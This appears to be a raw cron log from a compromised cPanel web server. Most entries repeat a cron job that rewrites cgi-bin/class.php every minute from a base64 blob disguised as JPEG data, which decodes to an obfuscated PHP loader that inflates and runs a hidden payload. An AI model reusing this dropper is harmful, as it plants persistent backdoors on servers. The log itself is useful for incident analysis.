Nov 12 04:56:01 server CROND[19108]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 04:57:01 server CROND[20044]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 04:57:01 server CROND[20045]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 12 04:58:01 server CROND[20876]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 04:59:01 server CROND[21696]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 05:00:01 server CROND[22475]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 05:00:01 server CROND[22476]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 05:00:01 server CROND[22477]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 05:00:01 server CROND[22478]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 12 05:01:01 server CROND[23370]: (root) CMD (run-parts /etc/cron.hourly)
Nov 12 05:01:01 server CROND[23371]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 05:01:01 server run-parts(/etc/cron.hourly)[23370]: starting 0anacron
Nov 12 05:01:01 server run-parts(/etc/cron.hourly)[23385]: finished 0anacron
Nov 12 05:02:01 server CROND[24362]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 05:03:01 server CROND[25190]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 05:04:01 server CROND[26013]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 05:05:01 server CROND[26854]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Nov 12 05:05:01 server CROND[26855]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 12 05:05:01 server CROND[26856]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 05:05:01 server CROND[26857]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 05:05:01 server CROND[26858]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 05:06:01 server CROND[27394]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 05:07:01 server CROND[28213]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 05:08:01 server CROND[28726]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 05:09:01 server CROND[29572]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
